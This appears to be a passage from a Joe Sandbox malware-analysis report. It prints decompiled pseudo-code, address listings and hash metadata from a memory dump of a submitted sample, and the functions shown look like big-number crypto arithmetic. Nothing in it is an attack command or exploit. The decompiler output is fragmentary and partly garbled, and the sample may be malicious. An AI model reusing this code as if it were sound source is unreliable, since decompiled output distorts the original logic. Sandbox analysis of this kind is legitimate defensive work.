				if (E00007FF77FF7E3720380(_t523 + 0x30, _t138) == 0) goto 0xe3724a05;
				if ( *((intOrPtr*)(_t523 + 0x48)) - _t423 <= 0) goto 0xe3724935;
				asm("o16 nop [eax+eax]");
				_t509 =  *(_t523 + 0x38);
				if (_t509 == 0) goto 0xe3724870;
				asm("o16 nop [eax+eax]");
				_t349 =  *((long long*)( *((intOrPtr*)(_t523 + 0x40)) + (_t509 - 1) * 8));
				if (_t349 != 0) goto 0xe3724870;
				_t405 = _t509 - 1;
				if (_t349 != 0) goto 0xe3724860;
				if (_t571 == 0) goto 0xe3724890;
				_t351 =  *((long long*)(_t586 + (_t571 - 1) * 8));
				if (_t351 != 0) goto 0xe3724890;
				_t457 = _t571 - 1;
				if (_t351 != 0) goto 0xe3724880;
				if (_t405 != 0) goto 0xe3724991;
				if (_t457 == 0) goto 0xe372493f;
				if (_t457 - _t405 <= 0) goto 0xe37249a4;
				r9d = r12d;
				r9d =  ~r9d;
				if (r9d == 0) goto 0xe372493f;
				_t154 = _t520 - 0x78; // -5402926248376769683
				if (E00007FF77FF7E3721620(r15d, _t244, _t423, _t154, _t523 + 0x30, _t509, _t517, _t523 + 0x30, _t567, __r12,  *((intOrPtr*)(_t523 + 0x40)), _t586) != 0) goto 0xe3724a41;
				_t156 = _t520 - 0x78; // -5402926248376769683
				if (E00007FF77FF7E3722430(_t247, E00007FF77FF7E3721620(r15d, _t244, _t423, _t154, _t523 + 0x30, _t509, _t517, _t523 + 0x30, _t567, __r12,  *((intOrPtr*)(_t523 + 0x40)), _t586), _t423, _t523 + 0x30, _t156, _t517,  *((intOrPtr*)(_t520 + 0xa0)), 0) != 0) goto 0xe3724a2b;
				_t158 = _t520 - 0x20; // -5402926248376769595
				 *((long long*)(_t520 - 0x20)) = 1;
				_t160 = _t520 + 0x20; // -5402926248376769531
				 *((long long*)(_t520 + 0x30)) = _t158;
				 *(_t520 + 0x20) = 1;
				 *((long long*)(_t520 + 0x28)) = 1;
				if (E00007FF77FF7E3720380(_t523 + 0x30, _t160) == 0) goto 0xe3724935;
				if (_t423 + 1 -  *((intOrPtr*)(_t523 + 0x48)) < 0) goto 0xe3724840;
				_t577 =  *((intOrPtr*)(_t523 + 0x40));
				if (E00007FF77FF7E3720380(_t523 + 0x30, _t523 + 0x50) != 0) goto 0xe3724987;
				_t170 = _t520 - 0x18; // -5402926248376769587
				_t407 = _t170;
				 *((long long*)(_t520 - 0x18)) = 1;
				_t172 = _t520 + 0x38; // -5402926248376769507
				 *(_t520 + 0x48) = _t407;
				_t462 = _t523 + 0x30;
				 *(_t520 + 0x38) = 1;
				 *((long long*)(_t520 + 0x40)) = 1;
				if (E00007FF77FF7E3720380(_t462, _t172) != 0) goto 0xe3724a0f;
				goto 0xe3724a41;
				if (_t462 - _t407 >= 0) goto 0xe37248a5;
				r9d =  *(_t523 + 0x30);
				goto 0xe37248b1;
				r9d =  *(_t523 + 0x30);
				if (r9d <= 0) goto 0xe37249b7;
				if (r12d < 0) goto 0xe37248ba;
				if (r12d <= 0) goto 0xe37249c5;
				if (r9d < 0) goto 0xe37248ba;
				if (_t407 == 0) goto 0xe372493f;
				_t368 =  *((intOrPtr*)( *((intOrPtr*)(_t523 + 0x40)) - 8 + _t407 * 8)) -  *((intOrPtr*)( *((intOrPtr*)(_t523 + 0x40)) - 8 + _t407 * 8 + _t586 - _t577));
				if (_t368 > 0) goto 0xe37248b1;
				if (_t368 < 0) goto 0xe37248ae;
				if (_t368 != 0) goto 0xe37249e0;
				goto 0xe372493f;
				_t410 =  *((intOrPtr*)(_t523 + 0x68)) + 1;
				 *((long long*)(_t523 + 0x68)) = _t410;
				if (_t410 -  *((intOrPtr*)(_t520 + 0xa8)) < 0) goto 0xe3724540;
				goto 0xe3724a41;
				goto 0xe3724a41;
				if ( *((intOrPtr*)(_t523 + 0x60)) == 0) goto 0xe3724a88;
				if ( *(_t523 + 0x58) * 8 == 0) goto 0xe3724a80;
				_t411 =  *0xe3754598; // 0x7ff7e373b860
				 *_t411();
				E00007FF77FF7E373FEDC(_t411,  *((intOrPtr*)(_t523 + 0x60)));
				if ( *(_t520 - 0x80) == 0) goto 0xe3724ad1;
				if ( *(_t523 + 0x78) * 8 == 0) goto 0xe3724ac8;
				_t413 =  *0xe3754598; // 0x7ff7e373b860
				 *_t413();
				E00007FF77FF7E373FEDC(_t413,  *(_t520 - 0x80));
				if ( *((intOrPtr*)(_t520 - 0x68)) == 0) goto 0xe3724b09;
				if ( *(_t520 - 0x70) * 8 == 0) goto 0xe3724b00;
				_t415 =  *0xe3754598; // 0x7ff7e373b860
				 *_t415();
				E00007FF77FF7E373FEDC(_t415,  *((intOrPtr*)(_t520 - 0x68)));
				if ( *((intOrPtr*)(_t523 + 0x40)) == 0) goto 0xe3724b36;
				if ( *(_t523 + 0x38) * 8 == 0) goto 0xe3724b2e;
				_t416 =  *0xe3754598; // 0x7ff7e373b860
				 *_t416();
				E00007FF77FF7E373FEDC(_t416,  *((intOrPtr*)(_t523 + 0x40)));
				if ( *((intOrPtr*)(_t520 - 0x38)) == 0) goto 0xe3724b74;
				if ( *(_t520 - 0x40) * 8 == 0) goto 0xe3724b6b;
				_t418 =  *0xe3754598; // 0x7ff7e373b860
				 *_t418();
				E00007FF77FF7E373FEDC(_t418,  *((intOrPtr*)(_t520 - 0x38)));
				return 0xfffffff2;
			}

0x7ff7e3724300
0x7ff7e3724300
0x7ff7e3724300
0x7ff7e3724300
0x7ff7e3724300
0x7ff7e3724303
0x7ff7e3724307
0x7ff7e372430b
0x7ff7e372430f
0x7ff7e3724315
0x7ff7e3724315
0x7ff7e372431c
0x7ff7e3724323
0x7ff7e3724327
0x7ff7e372432a
0x7ff7e372432e
0x7ff7e3724332
0x7ff7e3724335
0x7ff7e3724339
0x7ff7e372433d
0x7ff7e3724341
0x7ff7e3724344
0x7ff7e372434c
0x7ff7e3724351
0x7ff7e3724359
0x7ff7e372435e
0x7ff7e3724361
0x7ff7e3724369
0x7ff7e372436e
0x7ff7e3724372
0x7ff7e3724379
0x7ff7e372437d
0x7ff7e3724381
0x7ff7e3724389
0x7ff7e372438e
0x7ff7e3724393
0x7ff7e372439a
0x7ff7e372439e
0x7ff7e37243a2
0x7ff7e37243ab
0x7ff7e37243b2
0x7ff7e37243ba
0x7ff7e37243c1
0x7ff7e37243c3
0x7ff7e37243d3
0x7ff7e37243d5
0x7ff7e37243e5
0x7ff7e37243e7
0x7ff7e37243ec
0x7ff7e37243f1
0x7ff7e37243fe
0x7ff7e3724400
0x7ff7e3724403
0x7ff7e3724408
0x7ff7e372440a
0x7ff7e372440f
0x7ff7e3724411
0x7ff7e3724418
0x7ff7e372441d
0x7ff7e372442a
0x7ff7e372442e
0x7ff7e3724431
0x7ff7e3724437
0x7ff7e372443d
0x7ff7e3724445
0x7ff7e372444d
0x7ff7e3724455
0x7ff7e3724457
0x7ff7e372446e
0x7ff7e3724476
0x7ff7e372447f
0x7ff7e3724487
0x7ff7e3724489
0x7ff7e3724493
0x7ff7e3724495
0x7ff7e372449d
0x7ff7e37244a2
0x7ff7e37244a6
0x7ff7e37244a8
0x7ff7e37244af
0x7ff7e37244b1
0x7ff7e37244b5
0x7ff7e37244bb
0x7ff7e37244bd
0x7ff7e37244c2
0x7ff7e37244c6
0x7ff7e37244d0
0x7ff7e37244d5
0x7ff7e37244d9
0x7ff7e37244db
0x7ff7e37244f2
0x7ff7e3724506
0x7ff7e372450d
0x7ff7e3724526
0x7ff7e372452c
0x7ff7e3724538
0x7ff7e3724549
0x7ff7e372456d
0x7ff7e3724573
0x7ff7e3724578
0x7ff7e3724580
0x7ff7e3724582
0x7ff7e372458f
0x7ff7e3724591
0x7ff7e3724598
0x7ff7e372459a
0x7ff7e37245a0
0x7ff7e37245a5
0x7ff7e37245a7
0x7ff7e37245ab
0x7ff7e37245ad
0x7ff7e37245c3
0x7ff7e37245cb
0x7ff7e37245d3
0x7ff7e37245db
0x7ff7e37245e0
0x7ff7e37245e8
0x7ff7e37245ea
0x7ff7e37245f0
0x7ff7e37245f6
0x7ff7e37245f8
0x7ff7e3724609
0x7ff7e372460b
0x7ff7e372460e
0x7ff7e3724610
0x7ff7e3724617
0x7ff7e3724620
0x7ff7e3724625
0x7ff7e3724627
0x7ff7e372462b
0x7ff7e372462d
0x7ff7e3724639
0x7ff7e3724641
0x7ff7e3724649
0x7ff7e3724651
0x7ff7e3724656
0x7ff7e372465e
0x7ff7e3724660
0x7ff7e3724666
0x7ff7e372466c
0x7ff7e3724678
0x7ff7e372467e
0x7ff7e372468f
0x7ff7e372469f
0x7ff7e37246ab
0x7ff7e37246b4
0x7ff7e37246c0
0x7ff7e37246c4
0x7ff7e37246ca
0x7ff7e37246ce
0x7ff7e37246d6
0x7ff7e37246e0
0x7ff7e37246e4
0x7ff7e37246ea
0x7ff7e37246ee
0x7ff7e37246f3
0x7ff7e37246f8
0x7ff7e37246fd
0x7ff7e3724704
0x7ff7e3724709
0x7ff7e372470f
0x7ff7e3724717
0x7ff7e372471c
0x7ff7e3724723
0x7ff7e3724728
0x7ff7e372472c
0x7ff7e3724731
0x7ff7e3724736
0x7ff7e3724746
0x7ff7e3724757
0x7ff7e372475a
0x7ff7e372475c
0x7ff7e3724766
0x7ff7e372476c
0x7ff7e3724772
0x7ff7e3724776
0x7ff7e372477e
0x7ff7e3724782
0x7ff7e372478b
0x7ff7e3724792
0x7ff7e37247a1
0x7ff7e37247ae
0x7ff7e37247b7
0x7ff7e37247c6
0x7ff7e37247cf
0x7ff7e37247e6
0x7ff7e37247ec
0x7ff7e37247f0
0x7ff7e37247f8
0x7ff7e37247fc
0x7ff7e3724805
0x7ff7e372480c
0x7ff7e372481b
0x7ff7e372482b
0x7ff7e3724835
0x7ff7e3724840
0x7ff7e3724850
0x7ff7e372485a
0x7ff7e3724860
0x7ff7e3724864
0x7ff7e372486a
0x7ff7e372486e
0x7ff7e3724876
0x7ff7e3724880
0x7ff7e3724884
0x7ff7e372488a
0x7ff7e372488e
0x7ff7e3724893
0x7ff7e372489c
0x7ff7e37248a5
0x7ff7e37248ab
0x7ff7e37248ae
0x7ff7e37248b4
0x7ff7e37248c4
0x7ff7e37248d1
0x7ff7e37248de
0x7ff7e37248f0
0x7ff7e37248f6
0x7ff7e37248fa
0x7ff7e3724902
0x7ff7e3724906
0x7ff7e372490f
0x7ff7e3724916
0x7ff7e3724925
0x7ff7e372492f
0x7ff7e3724935
0x7ff7e3724950
0x7ff7e3724952
0x7ff7e3724952
0x7ff7e3724956
0x7ff7e372495e
0x7ff7e3724962
0x7ff7e3724966
0x7ff7e372496b
0x7ff7e3724972
0x7ff7e3724981
0x7ff7e372498c
0x7ff7e3724994
0x7ff7e372499a
0x7ff7e372499f
0x7ff7e37249a4
0x7ff7e37249ac
0x7ff7e37249b1
0x7ff7e37249ba
0x7ff7e37249bf
0x7ff7e37249c8
0x7ff7e37249e7
0x7ff7e37249ea
0x7ff7e37249f0
0x7ff7e37249fe
0x7ff7e3724a00
0x7ff7e3724a14
0x7ff7e3724a17
0x7ff7e3724a23
0x7ff7e3724a29
0x7ff7e3724a35
0x7ff7e3724a54
0x7ff7e3724a61
0x7ff7e3724a63
0x7ff7e3724a6f
0x7ff7e3724a83
0x7ff7e3724a9f
0x7ff7e3724ab1
0x7ff7e3724ab3
0x7ff7e3724abc
0x7ff7e3724acc
0x7ff7e3724ad8
0x7ff7e3724ae9
0x7ff7e3724aeb
0x7ff7e3724af4
0x7ff7e3724b04
0x7ff7e3724b0c
0x7ff7e3724b19
0x7ff7e3724b1b
0x7ff7e3724b27
0x7ff7e3724b31
0x7ff7e3724b4d
0x7ff7e3724b5e
0x7ff7e3724b60
0x7ff7e3724b69
0x7ff7e3724b6f
0x7ff7e3724b7f

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e776037ddcbe29e920b77f76d3ce8ad6f4f098b99560a8235800c50d72fae61
Instruction ID: 03a3ab9686b5fb0e0706df0c0e1cbaf3c296d5f51c1c6c7b5ca127ce2a49a620
Opcode Fuzzy Hash: 9e776037ddcbe29e920b77f76d3ce8ad6f4f098b99560a8235800c50d72fae61
Instruction Fuzzy Hash: BE3291B2A18B82C5EB90AB25D480BBDBBA0FB49784F901036DE4D67B94DF3CD594C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37227C0 Relevance: .5, Instructions: 501
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E37227C0(void* __ebx, void* __esi, void* __ebp, void* __eflags, long long __rbx, signed long long __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, signed long long __r8, signed long long __r9, void* __r10, void* __r11) {
				void* __rbp;
				void* __r12;
				void* __r13;
				void* __r15;
				intOrPtr _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t181;
				intOrPtr _t183;
				intOrPtr _t185;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t191;
				void* _t215;
				signed char _t218;
				void* _t230;
				void* _t231;
				void* _t234;
				void* _t261;
				signed int _t267;
				void* _t270;
				signed int _t272;
				signed long long _t279;
				long long _t293;
				signed long long _t294;
				signed int _t320;
				long long* _t322;
				long long* _t324;
				long long* _t326;
				intOrPtr _t327;
				long long* _t329;
				signed long long _t332;
				signed int* _t337;
				signed int _t367;
				signed long long _t419;
				signed long long _t427;
				signed long long _t428;
				signed long long _t430;
				signed long long _t434;
				void* _t439;
				void* _t440;
				void* _t442;
				void* _t443;
				signed long long _t450;
				signed long long _t456;
				void* _t481;
				void* _t482;
				void* _t484;
				signed long long _t489;
				signed long long _t490;
				signed long long _t491;
				void* _t493;
				signed long long _t494;
				signed long long _t495;
				signed long long _t496;
				signed long long _t497;
				intOrPtr _t499;
				void* _t502;
				signed long long _t503;
				intOrPtr _t506;
				void* _t510;
				void* _t514;
				intOrPtr* _t516;
				signed int _t518;

				_t482 = __r11;
				_t481 = __r10;
				_t445 = __r8;
				_t231 = __esi;
				 *((long long*)(_t442 + 0x10)) = __rsi;
				 *((long long*)(_t442 + 0x20)) = __rdi;
				 *((long long*)(_t442 + 0x18)) = __r8;
				_t440 = _t442 - 0xc00;
				_t443 = _t442 - 0xd00;
				 *((intOrPtr*)(_t440 - 0x60)) = 1;
				_t434 = __rcx;
				 *((long long*)(_t440 - 0x58)) = 1;
				r15d = 0;
				 *(_t443 + 0x38) = _t518;
				 *((long long*)(_t440 - 0x50)) = _t443 + 0x38;
				_t430 = __r9;
				_t494 = __r8;
				if (E00007FF77FF7E3720380(__r9, _t440 - 0x60) <= 0) goto 0xe3722f83;
				_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t430 + 0x10))));
				if ((r14b & 0x00000001) == 0) goto 0xe3722f83;
				_t293 = _t443 + 0x30;
				 *(_t443 + 0x30) = _t518;
				 *((long long*)(_t440 - 0x38)) = _t293;
				 *((intOrPtr*)(_t440 - 0x48)) = 1;
				 *((long long*)(_t440 - 0x40)) = 1;
				if (E00007FF77FF7E3720380(_t494, _t440 - 0x48) < 0) goto 0xe3722f83;
				 *((long long*)(_t443 + 0xd30)) = __rbx;
				_t21 = _t518 + 0x40; // 0x40
				_t332 = 4 + _t503 * 2 + _t503;
				asm("o16 nop [eax+eax]");
				_t294 = _t293 - _t332 * _t503;
				if (_t21 >> 1 - 8 >= 0) goto 0xe3722890;
				 *((intOrPtr*)(_t443 + 0x60)) = 1;
				 *(_t443 + 0x68) = _t518;
				r8d = 0xc00;
				 *(_t443 + 0x70) = _t518;
				 *((intOrPtr*)(_t443 + 0x48)) = 1;
				_t335 =  !(_t332 * _t294) + 1;
				 *(_t443 + 0x50) = _t518;
				 *(_t443 + 0x58) = _t518;
				 *((intOrPtr*)(_t440 - 0x80)) = 1;
				 *(_t440 - 0x78) = _t518;
				 *(_t440 - 0x70) = _t518;
				E00007FF77FF7E373B860(_t215, 0, _t230, _t234, _t440, _t440 - 0x48, _t430, _t445);
				E00007FF77FF7E371F8C0(_t494);
				if (_t294 - 0x29f <= 0) goto 0xe372290c;
				r13d = 6;
				goto 0xe372293d;
				if (_t294 - 0xef <= 0) goto 0xe372291c;
				r13d = 5;
				goto 0xe372293d;
				if (_t294 - 0x4f <= 0) goto 0xe372292a;
				r13d = 4;
				goto 0xe372293d;
				r13d = 1;
				r13d =  >  ? 3 : r13d;
				 *(_t443 + 0x30) = _t494;
				_t173 = E00007FF77FF7E371F340( !(_t332 * _t294) + 1, _t434,  *(_t430 + 8) + 1);
				r15d = _t173;
				if (_t173 != 0) goto 0xe3722e2c;
				_t35 = _t440 + 0x18; // 0x1c
				_t174 = E00007FF77FF7E371F340( !(_t332 * _t294) + 1, _t35,  *(_t430 + 8) + 1);
				r15d = _t174;
				if (_t174 != 0) goto 0xe3722e2c;
				_t175 = E00007FF77FF7E371F340( !(_t332 * _t294) + 1, _t443 + 0x48,  *(_t430 + 8) + 1 +  *(_t430 + 8) + 1); // executed
				r15d = _t175;
				if (_t175 != 0) goto 0xe3722e2c;
				_t176 =  *__rdx;
				 *((intOrPtr*)(_t443 + 0x78)) = _t176;
				if (_t176 != 0xffffffff) goto 0xe37229be;
				_t39 = _t440 - 0x80; // -124
				_t177 = E00007FF77FF7E371F4F0(_t39, __rdx, _t430, _t434, _t518);
				r15d = _t177;
				if (_t177 != 0) goto 0xe3722e2c;
				 *((intOrPtr*)(_t440 - 0x80)) = 1;
				_t41 = _t440 - 0x80; // -124
				_t506 =  *((intOrPtr*)(_t440 + 0xc50));
				if (_t506 == 0) goto 0xe37229e8;
				if ( *((long long*)(_t506 + 0x10)) == 0) goto 0xe37229e8;
				asm("inc ecx");
				asm("repne inc ecx");
				asm("movups [esp+0x60], xmm0");
				asm("movsd [esp+0x70], xmm1");
				goto 0xe3722a56;
				_t178 = E00007FF77FF7E371F7F0(_t294,  !(_t332 * _t294) + 1, _t443 + 0x60, __rdx, _t434, _t440);
				r15d = _t178;
				if (_t178 != 0) goto 0xe3722e2c;
				_t179 = E00007FF77FF7E3720050(_t178, 1, __ebp,  !(_t332 * _t294) + 1, _t443 + 0x60,  *(_t430 + 8) << 7, _t434, _t440);
				r15d = _t179;
				if (_t179 != 0) goto 0xe3722e2c;
				_t180 = E00007FF77FF7E3722430(_t231, _t179,  !(_t332 * _t294) + 1, _t443 + 0x60, _t443 + 0x60, _t434, _t430, _t481);
				r15d = _t180;
				if (_t180 != 0) goto 0xe3722e2c;
				if (_t506 == 0) goto 0xe3722a56;
				asm("movups xmm0, [esp+0x60]");
				asm("movsd xmm1, [esp+0x70]");
				asm("inc ecx");
				asm("repne inc ecx");
				_t181 = E00007FF77FF7E3720380(_t41, _t430);
				_t49 = _t440 + 0x18; // 0x19
				if (_t181 < 0) goto 0xe3722a76;
				E00007FF77FF7E3722430(_t231, _t181,  !(_t332 * _t294) + 1, _t49, _t41, _t434, _t430, _t481);
				goto 0xe3722a7b;
				_t183 = E00007FF77FF7E371F4F0(_t49, _t41, _t430, _t434, _t502);
				r15d = _t183;
				if (_t183 != 0) goto 0xe3722e2c;
				 *((long long*)(_t443 + 0x20)) = _t443 + 0x48;
				_t53 = _t440 + 0x18; // 0x19
				E00007FF77FF7E3722610(3, _t335, _t53, _t443 + 0x60, _t430, _t430, _t335, _t482, _t41, _t494, _t518);
				_t185 = E00007FF77FF7E371F4F0(_t434, _t443 + 0x60, _t430, _t434, _t493);
				 *((intOrPtr*)(_t443 + 0x40)) = _t185;
				r15d = _t185;
				if (_t185 != 0) goto 0xe3722e2c;
				_t56 = _t440 - 0x68; // -103
				 *((long long*)(_t440 - 0x68)) = 1;
				 *((long long*)(_t440 - 0x20)) = _t56;
				_t59 = _t440 - 0x30; // -47
				 *((intOrPtr*)(_t440 - 0x30)) = 1;
				 *((long long*)(_t443 + 0x20)) = _t443 + 0x48;
				 *((long long*)(_t440 - 0x28)) = 1;
				E00007FF77FF7E3722610(3, _t335, _t434, _t59, _t430, _t430, _t335, _t482, _t41, _t494, _t518);
				_t450 =  *(_t443 + 0x30);
				if (_t450 - 1 <= 0) goto 0xe3722c22;
				r13d = 1;
				_t495 = _t494 << 3;
				_t187 = E00007FF77FF7E371F340(_t335, _t440 + (_t495 * 2 + _t495) * 8,  *(_t430 + 8) + 1);
				r15d = _t187;
				if (_t187 != 0) goto 0xe3722e27;
				_t70 = _t440 + 0x18; // 0x19
				_t188 = E00007FF77FF7E371F4F0(_t440 + (_t495 * 2 + _t495) * 8, _t70, _t430, _t434, _t484);
				 *((intOrPtr*)(_t443 + 0x40)) = _t188;
				r15d = _t188;
				if (_t188 != 0) goto 0xe3722e27;
				_t261 = _t450 - 1;
				if (_t261 == 0) goto 0xe3722b91;
				asm("o16 nop [eax+eax]");
				 *((long long*)(_t443 + 0x20)) = _t443 + 0x48;
				E00007FF77FF7E3722610(3, _t335, _t440 + (_t495 * 2 + _t495) * 8, _t440 + (_t495 * 2 + _t495) * 8, _t430, _t430, _t335, _t482, _t440 + (_t495 * 2 + _t495) * 8, _t495, _t518);
				if (_t261 != 0) goto 0xe3722b70;
				_t75 = _t495 + 1; // 0x2
				_t489 = _t75;
				r13d = 1;
				_t496 = _t495 << 3;
				if (_t489 - _t496 >= 0) goto 0xe3722c22;
				_t510 = _t440 + (_t489 + _t489 * 2) * 8;
				asm("o16 nop [eax+eax]");
				_t190 = E00007FF77FF7E371F340(_t335, _t510,  *(_t430 + 8) + 1); // executed
				r15d = _t190;
				if (_t190 != 0) goto 0xe3722e27;
				_t81 = _t510 - 0x18; // -25
				_t191 = E00007FF77FF7E371F4F0(_t510, _t81, _t430, _t434, _t439);
				 *((intOrPtr*)(_t443 + 0x40)) = _t191;
				r15d = _t191;
				if (_t191 != 0) goto 0xe3722e27;
				 *((long long*)(_t443 + 0x20)) = _t443 + 0x48;
				_t85 = _t440 + 0x18; // 0x19
				E00007FF77FF7E3722610(3, _t335, _t510, _t85, _t430, _t430, _t335, _t482, _t489, _t496, _t518);
				_t490 = _t489 + 1;
				if (_t490 - _t496 < 0) goto 0xe3722bc0;
				r15d = 0;
				r14d = 0;
				r13d = 0;
				r12d = 0;
				_t367 =  *((intOrPtr*)( *((intOrPtr*)(_t440 + 0xc40)) + 8));
				 *(_t443 + 0x38) = _t367;
				if (_t518 != 0) goto 0xe3722c5c;
				_t267 = _t367;
				if (_t267 == 0) goto 0xe3722d59;
				r15d = 0x40;
				 *(_t443 + 0x38) = _t367 - 1;
				if (_t267 != 0) goto 0xe3722cb7;
				if (_t490 == 0) goto 0xe3722c40;
				if (_t490 != 1) goto 0xe3722cb7;
				_t96 = _t443 + 0x48; // 0x4a
				 *((long long*)(_t443 + 0x20)) = _t96;
				_t419 = _t434;
				E00007FF77FF7E3722610(3, _t335, _t434, _t419, _t430, _t430, _t335, _t482, _t490, _t496, _t518 - 1);
				_t456 =  *(_t443 + 0x30);
				goto 0xe3722c40;
				r12d = 2;
				_t218 = (r8b & 0xffffffff) - r14b;
				_t497 = _t496 | _t419 << _t218;
				_t270 = _t510 + 0x19 - _t456;
				if (_t270 != 0) goto 0xe3722c40;
				asm("o16 nop [eax+eax]");
				_t103 = _t443 + 0x48; // 0x4a
				 *((long long*)(_t443 + 0x20)) = _t103;
				E00007FF77FF7E3722610(_t218, _t335, _t434, _t434, _t430, _t430, _t335, _t482, _t490, _t497, _t518 - 1);
				_t514 = _t456 - 1;
				if (_t270 != 0) goto 0xe3722cf0;
				_t108 = _t443 + 0x48; // 0x4a
				 *((long long*)(_t443 + 0x20)) = _t108;
				E00007FF77FF7E3722610(_t218, _t335, _t434, _t440 + (_t497 * 2 + _t497) * 8, _t430, _t430, _t335, _t482, _t490, _t497, _t518 - 1);
				r12d = _t514 + 1;
				r13d = 0;
				goto 0xe3722c40;
				r15d =  *((intOrPtr*)(_t443 + 0x40));
				if (_t514 == 0) goto 0xe3722db5;
				r12d = 1;
				_t491 = _t490 << _t218;
				_t115 = _t443 + 0x48; // 0x49
				 *((long long*)(_t443 + 0x20)) = _t115;
				E00007FF77FF7E3722610(_t218, _t335, _t434, _t434, _t430, _t430, _t335, _t482, _t491, _t497, _t518 - 1);
				_t272 = _t497 + _t497 & _t491;
				if (_t272 == 0) goto 0xe3722daf;
				_t119 = _t443 + 0x48; // 0x49
				 *((long long*)(_t443 + 0x20)) = _t119;
				_t121 = _t440 + 0x18; // 0x19
				E00007FF77FF7E3722610(_t218, _t335, _t434, _t121, _t430, _t430, _t335, _t482, _t491, _t497 + _t497, _t518 - 1);
				if (_t272 != 0) goto 0xe3722d70;
				_t122 = _t443 + 0x40; // 0x41
				 *((long long*)(_t443 + 0x40)) = 1;
				 *((long long*)(_t440 - 8)) = _t122;
				_t125 = _t440 - 0x18; // -23
				_t126 = _t443 + 0x48; // 0x49
				 *((intOrPtr*)(_t440 - 0x18)) = 1;
				 *((long long*)(_t443 + 0x20)) = _t126;
				 *((long long*)(_t440 - 0x10)) = 1;
				E00007FF77FF7E3722610(_t218, _t335, _t434, _t125, _t430, _t430, _t335, _t482, _t491, _t497 + _t497, _t518 - 1);
				if ( *((intOrPtr*)(_t443 + 0x78)) != 0xffffffff) goto 0xe3722e27;
				_t499 =  *((intOrPtr*)(_t440 + 0xc40));
				if ( *((long long*)(_t499 + 8)) == 0) goto 0xe3722e27;
				if (( *( *(_t499 + 0x10)) & 0x00000001) == 0) goto 0xe3722e27;
				 *_t434 = 0xffffffff;
				_t427 = _t430;
				r15d = E00007FF77FF7E3720830(_t231, _t335, _t434, _t427, _t430, _t434, _t440, _t434, _t481, _t482);
				_t428 = _t427 << _t218;
				if (_t428 - _t434 << _t218 >= 0) goto 0xe3722ea5;
				_t140 = _t440 + 0x10; // 0x11
				_t337 = _t140 + (_t428 + _t428 * 2) * 8;
				_t143 = _t337 - 0x10; // 0x1
				_t516 = _t143;
				if (_t516 == 0) goto 0xe3722e9b;
				if ( *_t337 == 0) goto 0xe3722e8b;
				_t279 =  *(_t337 - 8) << 3;
				if (_t279 == 0) goto 0xe3722e83;
				_t320 =  *0xe3754598; // 0x7ff7e373b860
				 *_t320();
				E00007FF77FF7E373FEDC(_t320,  *_t337);
				 *_t516 = 1;
				 *(_t337 - 8) = _t320;
				 *_t337 = _t320;
				if (_t279 != 0) goto 0xe3722e57;
				if ( *((intOrPtr*)(_t440 + 0x28)) == 0) goto 0xe3722edb;
				if ( *(_t440 + 0x20) * 8 == 0) goto 0xe3722ed6;
				_t322 =  *0xe3754598; // 0x7ff7e373b860
				 *_t322();
				E00007FF77FF7E373FEDC(_t322,  *((intOrPtr*)(_t440 + 0x28)));
				if ( *(_t443 + 0x58) == 0) goto 0xe3722f0c;
				if ( *(_t443 + 0x50) * 8 == 0) goto 0xe3722f02;
				_t324 =  *0xe3754598; // 0x7ff7e373b860
				 *_t324();
				E00007FF77FF7E373FEDC(_t324,  *(_t443 + 0x58));
				if ( *(_t440 - 0x70) == 0) goto 0xe3722f3a;
				if ( *(_t440 - 0x78) * 8 == 0) goto 0xe3722f31;
				_t326 =  *0xe3754598; // 0x7ff7e373b860
				 *_t326();
				E00007FF77FF7E373FEDC(_t326,  *(_t440 - 0x70));
				_t327 =  *((intOrPtr*)(_t440 + 0xc50));
				if (_t327 == 0) goto 0xe3722f4d;
				if ( *((long long*)(_t327 + 0x10)) != 0) goto 0xe3722f7e;
				if ( *(_t443 + 0x70) == 0) goto 0xe3722f7e;
				if ( *(_t443 + 0x68) * 8 == 0) goto 0xe3722f74;
				_t329 =  *0xe3754598; // 0x7ff7e373b860
				 *_t329();
				E00007FF77FF7E373FEDC(_t329,  *(_t443 + 0x70));
				goto 0xe3722f88;
				return 0xfffffffc;
			}

0x7ff7e37227c0
0x7ff7e37227c0
0x7ff7e37227c0
0x7ff7e37227c0
0x7ff7e37227c0
0x7ff7e37227c5
0x7ff7e37227ca
0x7ff7e37227d8
0x7ff7e37227e0
0x7ff7e37227ea
0x7ff7e37227f1
0x7ff7e37227f4
0x7ff7e3722801
0x7ff7e3722808
0x7ff7e3722810
0x7ff7e3722814
0x7ff7e3722817
0x7ff7e3722821
0x7ff7e372282b
0x7ff7e3722832
0x7ff7e3722838
0x7ff7e372283d
0x7ff7e3722846
0x7ff7e372284d
0x7ff7e3722854
0x7ff7e3722863
0x7ff7e3722869
0x7ff7e3722871
0x7ff7e3722880
0x7ff7e3722887
0x7ff7e372289e
0x7ff7e37228a8
0x7ff7e37228ad
0x7ff7e37228b7
0x7ff7e37228bc
0x7ff7e37228c2
0x7ff7e37228cb
0x7ff7e37228d3
